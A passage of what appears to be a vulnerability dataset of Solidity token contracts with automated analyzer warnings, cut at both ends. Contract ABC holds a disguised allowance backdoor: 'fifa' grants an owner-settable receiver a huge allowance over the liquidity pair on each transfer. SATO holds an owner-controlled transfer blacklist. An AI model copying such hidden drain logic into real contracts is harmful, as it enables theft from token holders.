'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0c0e4ee): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0c0e4ee: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 25d1fce\n\t\t// reentrancy-benign | ID: 0c0e4ee\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 25d1fce\n\t\t// reentrancy-benign | ID: 0c0e4ee\n _approve(\n sender,\n _msgSender(),\n _fApproval[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8f9397c): ABC._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8f9397c: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 0c0e4ee\n _fApproval[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 25d1fce\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ddbc955): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ddbc955: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 57a2982): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 57a2982: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (!swapEnabled || inSwap) {\n _tOwned[from] = _tOwned[from] - amount;\n\n _tOwned[to] = _tOwned[to] + amount;\n\n emit Transfer(from, to, amount);\n\n return;\n }\n\n if (fifa([uniFPair, fReceipt]) && from != owner() && to != owner()) {\n if (\n from == uniFPair &&\n to != address(uniFRouter) &&\n !_isExcludedTaxF[to]\n ) {\n require(tradingOpen, \"Trading not open yet.\");\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n require(amount <= _maxFAmount, \"Exceeds the _maxFAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxFWallet,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to != uniFPair && !_isExcludedTaxF[to]) {\n require(\n balanceOf(to) + amount <= _maxFWallet,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (to == uniFPair) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (\n !inSwap &&\n to == uniFPair &&\n swapEnabled &&\n _buyCount > _preventSwapBefore\n ) {\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (contractTokenBalance > _taxSwapThreshold)\n\t\t\t\t\t// reentrancy-events | ID: ddbc955\n\t\t\t\t\t// reentrancy-eth | ID: 57a2982\n fSwapEthTo(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n\t\t\t\t// reentrancy-events | ID: ddbc955\n\t\t\t\t// reentrancy-eth | ID: 57a2982\n fSendEthTo();\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 57a2982\n _tOwned[address(this)] = _tOwned[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: ddbc955\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 57a2982\n _tOwned[from] = _tOwned[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 57a2982\n _tOwned[to] = _tOwned[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: ddbc955\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function fSwapEthTo(uint256 amount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniFRouter.WETH();\n\n _approve(address(this), address(uniFRouter), amount);\n\n\t\t// reentrancy-events | ID: ddbc955\n\t\t// reentrancy-events | ID: 25d1fce\n\t\t// reentrancy-benign | ID: 0c0e4ee\n\t\t// reentrancy-eth | ID: 57a2982\n uniFRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function withdrawEth() external onlyOwner {\n payable(_msgSender()).transfer(address(this).balance);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: d6ee02b): ABC.fSendEthTo() sends eth to arbitrary user Dangerous calls fReceipt.transfer(address(this).balance)\n\t// Recommendation for d6ee02b: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function fSendEthTo() private {\n\t\t// reentrancy-events | ID: ddbc955\n\t\t// reentrancy-events | ID: 25d1fce\n\t\t// reentrancy-eth | ID: 57a2982\n\t\t// arbitrary-send-eth | ID: d6ee02b\n fReceipt.transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: fd0541a): ABC.removeLimits(address).limit lacks a zerocheck on \t fReceipt = limit\n\t// Recommendation for fd0541a: Check that the address is not zero.\n function removeLimits(address payable limit) external onlyOwner {\n\t\t// missing-zero-check | ID: fd0541a\n fReceipt = limit;\n\n _maxFAmount = _tTotal;\n\n _maxFWallet = _tTotal;\n\n _isExcludedTaxF[limit] = true;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function fifa(address[2] memory fifs) private returns (bool) {\n _fApproval[fifs[0]][fifs[1]] = (150 + 100 * _maxFAmount.add(100) + 50)\n .add(150);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: bda3b17): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for bda3b17: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: af91375): ABC.startTrading() ignores return value by IERC20(uniFPair).approve(address(uniFRouter),type()(uint256).max)\n\t// Recommendation for af91375: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: e78d7aa): ABC.startTrading() ignores return value by uniFRouter.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for e78d7aa: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 618c278): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 618c278: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function startTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: bda3b17\n\t\t// unused-return | ID: e78d7aa\n\t\t// reentrancy-eth | ID: 618c278\n uniFRouter.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: bda3b17\n\t\t// unused-return | ID: af91375\n\t\t// reentrancy-eth | ID: 618c278\n IERC20(uniFPair).approve(address(uniFRouter), type(uint).max);\n\n\t\t// reentrancy-benign | ID: bda3b17\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 618c278\n tradingOpen = true;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10647.sol",
"size_bytes": 19002,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract SATO is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 3ca5365): SATO._taxWallet should be immutable \n\t// Recommendation for 3ca5365: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n string private constant _name = unicode\"Satoshi Nakamoto\";\n\n string private constant _symbol = unicode\"SATO\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 2985bf9): SATO._initialBuyTax should be constant \n\t// Recommendation for 2985bf9: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: a28542e): SATO._initialSellTax should be constant \n\t// Recommendation for a28542e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: cfe8254): SATO._reduceBuyTaxAt should be constant \n\t// Recommendation for cfe8254: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: d19ba7c): SATO._reduceSellTaxAt should be constant \n\t// Recommendation for d19ba7c: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: f991ac9): SATO._preventSwapBefore should be constant \n\t// Recommendation for f991ac9: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 18;\n\n uint256 private _transferTax = 18;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 587e6db): SATO._taxSwapThreshold should be constant \n\t// Recommendation for 587e6db: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9d1e896): SATO._maxTaxSwap should be constant \n\t// Recommendation for 9d1e896: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2b77031): SATO.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2b77031: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9c0eb48): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9c0eb48: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2368427): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2368427: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 9c0eb48\n\t\t// reentrancy-benign | ID: 2368427\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 9c0eb48\n\t\t// reentrancy-benign | ID: 2368427\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c7c2515): SATO._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for c7c2515: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 2368427\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 9c0eb48\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3f9b221): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3f9b221: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b7490a1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b7490a1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 3f9b221\n\t\t\t\t// reentrancy-eth | ID: b7490a1\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 3f9b221\n\t\t\t\t\t// reentrancy-eth | ID: b7490a1\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: b7490a1\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: b7490a1\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: b7490a1\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 3f9b221\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: b7490a1\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: b7490a1\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 3f9b221\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 9c0eb48\n\t\t// reentrancy-events | ID: 3f9b221\n\t\t// reentrancy-benign | ID: 2368427\n\t\t// reentrancy-eth | ID: b7490a1\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: aac3511): SATO.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for aac3511: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 9c0eb48\n\t\t// reentrancy-events | ID: 3f9b221\n\t\t// reentrancy-eth | ID: b7490a1\n\t\t// arbitrary-send-eth | ID: aac3511\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e683c08): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e683c08: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d054e09): SATO.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for d054e09: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: fc9f2c3): SATO.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for fc9f2c3: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 2f9dd01): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 2f9dd01: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: e683c08\n\t\t// reentrancy-eth | ID: 2f9dd01\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: e683c08\n\t\t// unused-return | ID: fc9f2c3\n\t\t// reentrancy-eth | ID: 2f9dd01\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: e683c08\n\t\t// unused-return | ID: d054e09\n\t\t// reentrancy-eth | ID: 2f9dd01\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: e683c08\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 2f9dd01\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10648.sol",
"size_bytes": 20330,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address _account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\nlibrary SafeMath {\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function WETH() external pure returns (address);\n\n function factory() external pure returns (address);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract THRALL is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExcludedFromFee;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3883f8d): THRALL._initialBuyTax should be constant \n\t// Recommendation for 3883f8d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6989eae): THRALL._initialSellTax should be constant \n\t// Recommendation for 6989eae: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: bf0be01): THRALL._finalBuyTax should be constant \n\t// Recommendation for bf0be01: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 370805c): THRALL._finalSellTax should be constant \n\t// Recommendation for 370805c: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: ea82440): THRALL._reduceBuyTaxAt should be constant \n\t// Recommendation for ea82440: Add the 'constant' attribute to state variables that never change.\n uint256 private 